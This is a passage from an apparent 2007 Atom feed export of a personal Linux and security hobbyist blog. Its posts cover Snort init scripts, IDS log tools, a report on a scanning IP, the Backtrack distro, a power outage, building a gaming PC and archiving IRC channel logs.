href="http://www.polarcloud.com/tomato"&gt;Tomato&lt;/a&gt;.  It runs on the WRT54G/GS, some Buffalo, and Broadcom-based routers.  It appears very robust and easy to set up.  It is also easy to revert back to the original firmware.  I recommend giving this one a shot.  It is not meant to be something akin to OpenWRT or similar...it's designed to be and stay light and fast, which it is, but is also has plugins for functionality that may be mandatory for the above-average hacker.&lt;br /&gt;&lt;br /&gt;I've also just returned from vacation in California.  I think I may end up buying a home there, near the San Diego area, as that place is so much different than where I'm at now, plus we'll be close to relatives and nice vacation sites.  I just have to start conducting employment research so I can see what that area can offer me, employment-wise.  It may mean me going to a different part of the IT arena (sysadmin or something similar).  I don't mind changing my job a bit, as long as I stay in some type of management position.&lt;br /&gt;&lt;br /&gt;What projects do I have or plan on conducting?  I intend to clean up my office and turning off some hardware or consolidating some server duties, because my office looks like a rat's nest.  It's partly because there are no power outlets in my office (!!).  Yeah, I'm renting and the prior owners finished the basement but appeared to be in such a rush that they neglected to put the power outlets back in place.  I think I can do one (maybe with my father's help)...one may be enough.  Right now, I've a beefy power cord running from the storage area to my office space...everything is attached to that one strip (yeah, a bit dangerous, but I spend a bit of money on beefy surge protection).&lt;br /&gt;&lt;br /&gt;Well, I think this post more than makes up for the last few weeks/months of non-activity.  I shall try to be more vigilant in posting in the future (famous last words).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-9034121509199844192?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/9034121509199844192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=9034121509199844192' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9034121509199844192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/9034121509199844192'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/07/latest-happenings.html' title='Latest Happenings...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-1728065548965645338</id><published>2007-06-04T10:28:00.000-04:00</published><updated>2007-08-26T22:59:11.612-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='init script'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><title type='text'>Snort init script still not working...</title><content type='html'>Yeah, I thought I'd nailed this, but there is still an issue with my Slackware machine's Snort startup/shutdown script.  For some reason, it'll start fine, will not shut down cleanly and will error out.  The script will not start on its own and requires manual intervention (dunno why).  I'll have to add some debugging code to it so that I can track the issue.  It must be some flag that I'm using when implementing 'ps', because that's the only difference between the two scripts (the OpenBSD and Slackware).&lt;br /&gt;&lt;br /&gt;I wish I had more time (and willpower) to give this the attention that it needs.  I can always visit the Snort mailing list and post my concerns, but I'd like to be able to nail this one myself.  :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-1728065548965645338?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/1728065548965645338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=1728065548965645338' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1728065548965645338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1728065548965645338'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/06/snort-init-script-still-not-working.html' title='Snort init script still not working...'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7241049907953531466</id><published>2007-06-04T10:13:00.000-04:00</published><updated>2007-08-26T23:00:22.936-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scans'/><category scheme='http://www.blogger.com/atom/ns#' term='Vrtservers'/><category scheme='http://www.blogger.com/atom/ns#' term='zombie host'/><title type='text'>Vrtservers.net - Malicious IP scanning</title><content type='html'>IP 64.56.65.150, an IP that belongs to Vrtservers.net, has been very active lately. The machine has been compromised twice in 30 days and does a multitude of scans. Last month I reported this IP to &lt;a href="http://isc.sans.org"&gt;isc.sans.org&lt;/a&gt; and the machine was eventually taken offline (after waiting over two weeks). I reported it again this weekend when I noticed the IP was scanning against port 80 on my public server.&lt;br /&gt;&lt;br /&gt;I've attempted to do some digging via Google but have found nothing solid, other than finding people's web stats highlighting this IP. This post's intention is to let people know that this IP has a history of being compromised.&lt;br /&gt;&lt;br /&gt;Putting the IP into &lt;a href="http://web-sniffer.net"&gt;web-sniffer.net&lt;/a&gt; shows the following:&lt;br /&gt;&lt;br /&gt;**I'll capture a screenshot when I can, as the Blogger console attempts to render the data as HTML**&lt;br /&gt;&lt;br /&gt;That's not good. Using Links (a text-based browser that is good to use&lt;br /&gt;when you're afraid to visit a webpage with IE or Firefox), the .txt files&lt;br /&gt;appear to be IPs that are being harvested for further exploitation.&lt;br /&gt;&lt;br /&gt;I'm thinking of reporting this IP to the US-CERT, since SANS isn't being&lt;br /&gt;proactive.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7241049907953531466?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7241049907953531466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7241049907953531466' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7241049907953531466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7241049907953531466'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/06/vrtserversnet-malicious-ip-scanning.html' title='Vrtservers.net - Malicious IP scanning'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2870986145526825087</id><published>2007-05-19T19:22:00.001-04:00</published><updated>2007-08-30T13:30:43.192-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OpenBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='init script'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='MS Blaster'/><category scheme='http://www.blogger.com/atom/ns#' term='SnortSnarf'/><category scheme='http://www.blogger.com/atom/ns#' term='Snortalog'/><category scheme='http://www.blogger.com/atom/ns#' term='MS-SQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><title type='text'>I Created some scripts for Snort</title><content type='html'>I've created  (well, modified) a Snort initialization, restart, and shutdown script for Slackware and OpenBSD.  They are linked below.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://wigglit.ath.cx/snort-stuff/rc.snort.openbsd"&gt;OpenBSD script&lt;/a&gt; works solidly.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://wigglit.ath.cx/snort-stuff/rc.snort.slackware"&gt;Slackware script&lt;/a&gt; works sporadically and I've no idea how to debug it (although I haven't tried 'strace' yet).  It appears to work manually every time, but when run as a cron job, it's sometimes, seemingly randomly, doesn't restart.  The cron job runs every hours but because it sometimes doesn't start, I now have holes in my website's IDS coverage.&lt;br /&gt;&lt;br /&gt;Note that I didn't HAVE to create start/stop scripts for Snort, as I could've started Snort by utilizing the rc.local file, but I'd have still had to manually kill the Snort process whenever I wanted to stop Snort.  Having an init script do this is much cleaner.&lt;br /&gt;&lt;br /&gt;The fact that I've gotten it working on the OpenBSD machine hints that I've a minor issue with the Slackware script that I have yet to account for, but its frustrating me, so I'll throw it online to see if someone can help with debugging.  Yeah, I'd searched for help via Google but didn't see much of Snort init scripts for Slackware (although I may find something if I look at any scripts for other distributions).&lt;br /&gt;&lt;br /&gt;I also got &lt;a href="http://jeremy.chartier.free.fr/snortalog/"&gt;Snortalog&lt;/a&gt; to process my Snort raw logs into a statistical report, although I had to import 6.2MB of flat files  to my FreeBSD box (which Snortalog is installed on), then have Snortalog crunch that data into a HUGE (3.9MB) HTML file!   Needless to say, that HTML file takes almost 5 minutes to load into a browser.  I've got to filter the logs and only have it crunch certain dates to make the file less bulky.&lt;br /&gt;&lt;br /&gt;Snortalog definitely highlights that I could do some tuning, as it shows a very high amount of MS-SQL worm attempts (MS Blaster) hitting my server, amongst other things.  This is a good tool that I'd previously used (and had forgotten) at a prior place of employment.  It would be nice if I could figure out how to get it to crunch my IPF FW logs.&lt;br /&gt;&lt;br /&gt;Another oldie but goddie is &lt;a href="http://www.snort.org/dl/contrib/data_analysis/snortsnarf/"&gt;SnortSnarf&lt;/a&gt;.  It is a perl script, as is Snortalog, that parses Snort files (the alert file and the payload files) into readable HTML pages, which is a bit better at searching via command-line.  It is not as handy as ACID/BASE is, though, but has lower overhead.  Sadly, SnortSnarf's home page is gone, but I've linked Snort.org's archive.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;EDIT --&lt;br /&gt;&lt;br /&gt;I've found my 'error'.  What happened was that I had line 34 commented out and line 35 uncommented.  Line 35 is specifically for usage with OpenBSD.  Line 34 is specifically for Slackware.  I rectified this by uncommenting line 34 and commenting line 35.  I'll also put commentary explaining this.  Consider this issue solved!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Edited 8/30/2007:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(255, 0, 0);" href="http://wigglit.ath.cx/snort-stuff/rc.snort.slackware.08202007"&gt;Revised Script that works! *yes, click here*&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2870986145526825087?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2870986145526825087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2870986145526825087' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2870986145526825087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2870986145526825087'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/05/created-some-scripts-for-snort.html' title='I Created some scripts for Snort'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6847842333870524201</id><published>2007-05-13T20:58:00.000-04:00</published><updated>2007-05-13T21:09:24.102-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BIOS'/><category scheme='http://www.blogger.com/atom/ns#' term='filesystem'/><category scheme='http://www.blogger.com/atom/ns#' term='UPS'/><category scheme='http://www.blogger.com/atom/ns#' term='boot'/><title type='text'>Power outage</title><content type='html'>The other day, I awoke to find most of my machines had rebooted, although not all did.  This indicates a brown-out or power flux.  I had to intervene because the machines didn't come up cleanly, as some hung at the BIOS checks.&lt;br /&gt;&lt;br /&gt;I've fixed one...it wasn't detecting the DVD burner and I don't know why.  The other is an old box that has an intrusion detection feature that continues to tell me that the case was recently opened.&lt;br /&gt;&lt;br /&gt;Lastly, my Slackware box would NOT boot cleanly, as somehow the filesystem got borked.  I had to manually check the filesystem and repair it before it would boot cleanly...this took a few days.  Until then, this box was officially down.&lt;br /&gt;&lt;br /&gt;I think it's time to invest in a UPS.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6847842333870524201?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6847842333870524201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6847842333870524201' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6847842333870524201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6847842333870524201'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/05/power-outage.html' title='Power outage'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5897506976803615388</id><published>2007-05-13T13:59:00.001-04:00</published><updated>2007-08-29T21:47:58.495-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pidgin'/><category scheme='http://www.blogger.com/atom/ns#' term='linuxquestions.org'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='GAIM'/><category scheme='http://www.blogger.com/atom/ns#' term='Pat Volkerding'/><title type='text'>Pidgin and Slackware relationship ended</title><content type='html'>&lt;a href="http://www.linuxquestions.org/questions/showthread.php?t=553262"&gt;http://www.linuxquestions.org/questions/showthread.php?t=553262&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Total B.S.  A good read, especially if you're a Slacker!  I'm backing Pat totally on this one.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5897506976803615388?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5897506976803615388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5897506976803615388' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5897506976803615388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5897506976803615388'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/05/httpwww_13.html' title='Pidgin and Slackware relationship ended'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5125250628906827238</id><published>2007-04-21T16:33:00.000-04:00</published><updated>2007-12-31T19:22:42.958-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='penetration'/><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='testing'/><title type='text'>Backtrack v2.0</title><content type='html'>I'd recently wiped my installation of Slackware 10.2 from my Toshiba Satellite 1805-S274 in favor of a security-oriented live distro that I could install onto the laptop's drive.  I opted for Hakin9, a distro based on Aurox.&lt;br /&gt;&lt;br /&gt;Hakin9 is now based on Aurox v12.0, which is based on FC5.  It was nice but I ran into issues.  My first issue was that I used an older version that was included in an old issue of Hakin9 magazine.  I checked their latest magazine and it was apparent that they'd been using an OLD version of Aurox when building their distro.  I got a more recent version and it installed successfully.  While testing Aurox (I believe v12), it was apparent that the setup would run optimally on a recent laptop, while it was overheating mine.  I didn't feel like delving internally into the settings and downloading packages that would enable me to use Fluxbox instead of KDE, so I decided to try another distro.&lt;br /&gt;&lt;br /&gt;My next choice was Backtrack v2.0.  I was very impressed with the live CD, so I took the next step of installing to hard disk.  The install was MUCH quicker than Hakin9.  I'm also partial to Slackware and Backtrack is Slax-based.  Backtrack is a merge of the Whax and Auditor security/penetration-testing distributions.&lt;br /&gt;&lt;br /&gt;My only issue with Backtrack is the fact that there's no software repository for updating all the security tools.  Slackware has third-party package management that can be used in Slax and Backtrack, but my thoughts are that when updating Nessus, for instance, the dependencies that were originally installed may need to also be updated, which is fine, but which could be a bit tedious. The install of Backtrack was quick enough to where I could just manually upgrade what I need upgraded then reinstall the distro when new versions are released.&lt;br /&gt;&lt;br /&gt;This distribution is solid!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5125250628906827238?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5125250628906827238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5125250628906827238' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5125250628906827238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5125250628906827238'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/04/backtrack-v20.html' title='Backtrack v2.0'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-1414760900327909693</id><published>2007-03-16T01:23:00.000-04:00</published><updated>2007-12-31T19:21:59.647-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer'/><category scheme='http://www.blogger.com/atom/ns#' term='hand-built'/><title type='text'>The beast is built and running!</title><content type='html'>I finished building the new system last week (Thursday).  I ran into a few issues:&lt;br /&gt;&lt;br /&gt;1. The mainboard was apparently dead out-of-the-box, as none of the IDE channels appeared to work.  I tried various configurations and various drives that were confirmed as working.  I was unable to get anything to work, yet I could boot a Linux Live CD.&lt;br /&gt;&lt;br /&gt;2.  The power cables on the power supply had weird endings that initially looked like they wouldn't fit on the motherboard's sockets.  I then looked closely and found that the cable sockets could be split (at least the 24-pin and 8-pin could).&lt;br /&gt;&lt;br /&gt;3.  I've been trying to determine what to put on this beast as an OS.  Right now I have WinXP so that I could evaluate the high-end games that I have (BF 2142 and such) and would love to be able to run an OS that will detect and utilize both of the CPU's cores.  &lt;span style="color: rgb(255, 102, 102);"&gt;[Note:  WinXP Pro does this, and I'm also using that version.]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The case is very nice and has a see-through side.  The hardware runs really good.  I bumped up the eye-candy in BF 2142 so I could get a decent evaluation of how hot the CPU would get (I haven't even tried to see how many framerates per second the vidcard may do.  Idle, I get around 40-45F.  During gaming with eye-candy maxxed out (in BF 2142), I get 54F max.  This isn't bad but I've heard of people getting even lower temps than 54F.  This tells me that I may need a few case fans (I've none, so far) and maybe need to hide cabling.  I've a very thin coating of Arctic Silver on the CPU, and I'm sure that's helping.  What I haven't done is check to see if anyone has posted temps using the same CPU and case.  I'll search for that info soon.&lt;br /&gt;&lt;br /&gt;I'm very happy with the set up and will most likely mess with RAID next (I'll require another hard disk), after getting more case fans and possibly more RAM.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-1414760900327909693?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/1414760900327909693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=1414760900327909693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1414760900327909693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1414760900327909693'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/03/beast-is-built-and-running.html' title='The beast is built and running!'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6331089486377380160</id><published>2007-02-24T17:42:00.000-05:00</published><updated>2007-02-24T17:50:12.768-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='case'/><category scheme='http://www.blogger.com/atom/ns#' term='RAM'/><category scheme='http://www.blogger.com/atom/ns#' term='power supply'/><category scheme='http://www.blogger.com/atom/ns#' term='Ultra'/><title type='text'>System Components</title><content type='html'>Three system components are shipped so far:&lt;br /&gt;&lt;br /&gt;Ultra XBlaster Clear Side Blk Mid-Tower Case&lt;br /&gt;Ultra 500W X-Finity Power Supply 120mm Fan&lt;br /&gt;Ultra 1024MB PC4200 DDR2 533MHz&lt;br /&gt;&lt;br /&gt;The real worry was the RAM, as it was listed as out-of-stock after I made the purchase.  Hopefully, the 6 other components will be shipped on Monday.&lt;br /&gt;&lt;br /&gt;I've about $120 in rebate paperwork to complete and one of them must be postmarked by tomorrow at midnight...dunno how that's gonna happen on a Sunday.&lt;br /&gt;&lt;br /&gt;Anyways, I'm very excited about this computer's potential and can't wait to get everything assembled and working.&lt;br /&gt;&lt;br /&gt;I'll keep you all informed as the days go by.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6331089486377380160?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6331089486377380160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6331089486377380160' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6331089486377380160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6331089486377380160'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/02/system-components.html' title='System Components'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5333312473337936584</id><published>2007-02-23T12:10:00.000-05:00</published><updated>2007-02-23T13:26:29.396-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gaming rig'/><category scheme='http://www.blogger.com/atom/ns#' term='dual core'/><category scheme='http://www.blogger.com/atom/ns#' term='EVGA'/><category scheme='http://www.blogger.com/atom/ns#' term='64-bit'/><category scheme='http://www.blogger.com/atom/ns#' term='TigerDirect'/><category scheme='http://www.blogger.com/atom/ns#' term='Slamd64'/><category scheme='http://www.blogger.com/atom/ns#' term='ECS'/><category scheme='http://www.blogger.com/atom/ns#' term='Zenwalk'/><category scheme='http://www.blogger.com/atom/ns#' term='PCIe'/><category scheme='http://www.blogger.com/atom/ns#' term='Intel'/><title type='text'>Ordered a new system last night</title><content type='html'>Since its been awhile since I've built a new machine and since I wanted a taste of 64-bit and dual core technology, I purchased &lt;a href="http://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=2901385&amp;amp;CatId=333"&gt;this&lt;/a&gt; last night:&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;ECS nForce 570 SLIT-A v5.1 Socket 775 Barebone Kit / Intel Pentium D 830 OEM / 250GB SATA HDD / 18x DVD±RW DL / 1GB DDR2 PC4200 / CPU Fan / ATX Mid-Tower Case / 500 Watt Power Supply&lt;br /&gt;&lt;br /&gt;Additionally, I bought an &lt;/span&gt;EVGA GeForce 7300 GT video card with 512MB PCIe, DVI, and HDTV, since the new system will require a PCIe video card, which I don't have.&lt;br /&gt;&lt;br /&gt;I think I've accounted for everything when buying this system, hardware-wise.  I'll utilize a KVM, so I won't need another keyboard/mouse for it.&lt;br /&gt;&lt;br /&gt;Software-wise, I'll most likely be putting some form of Windows on this system.  This system will be using newer technology that *nix may or may not fully support and my troubleshooting time is limited.  So, I guess I'm in the market for a 64-bit OS.  I don't trust Vista yet, so I'll see about getting the 64-bit version of Windows XP Professional.&lt;br /&gt;&lt;br /&gt;This WILL be a gaming rig, but I'd also like to try my hand at 64-bit Linux when I've a bit more free time available, so eventually, it may turn into a dual-boot system.  What flavor of Linux?  Something that won't take long to get running and will be low maintenance, so it won't be Slackware-based, most likely, unless Zenwalk or something similar supports 64-bit Intel dual core CPUs.  Hopefully Pat can look into either factoring in 64-bit support in Slackware or sanctioning and supporting Slamd64 in a way that will make it easier to use.&lt;br /&gt;&lt;br /&gt;So, I guess I've a 1 to 3 week wait for all these parts to come in, so I can build this system.  The case and power supply are on the way now, but the other parts are still in the queue with no update, with the exception of the RAM, which is on back order.  Hopefully, they'll get 'un-backlogged' soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5333312473337936584?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5333312473337936584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5333312473337936584' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5333312473337936584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5333312473337936584'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2007/02/ordered-new-system-last-night.html' title='Ordered a new system last night'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3660929293338718643</id><published>2007-02-17T23:34:00.000-05:00</published><updated>2007-02-18T01:49:26.809-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tar'/><category scheme='http://www.blogger.com/atom/ns#' term='bzip2'/><category scheme='http://www.blogger.com/atom/ns#' term='bunzip2'/><category scheme='http://www.blogger.com/atom/ns#' term='##slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='logs'/><category scheme='http://www.blogger.com/atom/ns#' term='Slackware'/><title type='text'>Did some ##slackware log archiving...</title><content type='html'>Yeah, I had to do some archiving of the logs, as diskspace usage was at 96%.  I didn't just archive the channel logs, but also archived my snort and web logs.  About the only thing I haven't archived yet are the modsecurity logs (will do that sometime this weekend).  Currently, the host's drive space is currently at 74%.  The channel logs are still in place, but I've crunched the logs into monthly tar.bz2 files.  This renders the logs unsearchable by google (yeah, this sucks), but I had to compromise...they are still downloadable, just not searchable.  So, if you need them, they are there for download.  Once you download them, you can grep each tar.bz2 after uncompressing them.  Hopefully, Google still has the logs cached so that a person searching for an item can still see the cached files.  Maybe I'll purchase more drive space so that I can host the logs in an untarred and uncompressed format in the near future.&lt;br /&gt;&lt;br /&gt;Speaking of the channel, there has again been some ruckus about someone being banned 'unduly'.  People have to recognize that moderating a channel does come at a price.  One of these prices is the fact that people can't visit their frustrations on the channel.  An individual visited the 